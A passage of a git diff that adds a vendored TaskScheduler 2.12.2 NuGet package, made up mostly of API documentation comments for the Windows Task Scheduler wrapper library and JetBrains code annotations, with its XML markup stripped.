If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/packages/TaskScheduler.2.12.2/lib/net45/de/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net45/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1b6be30 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net45/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net45/es/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net45/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..fb7bcc0 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net45/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net45/fr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net45/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..711e059 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net45/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net45/it/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net45/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..f68d611 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net45/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net45/ja/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net45/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..ee50c43 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net45/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net45/pl/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net45/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..3c7d075 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net45/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net45/ru/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net45/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..8429434 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net45/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net45/sv/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net45/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..953b366 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net45/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net45/tr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net45/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..9c72833 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net45/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net45/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net45/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..9d0d0e8 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net45/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net45/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net45/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..0ac43a2 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net45/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.dll b/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..8d86a5d Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.xml b/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the 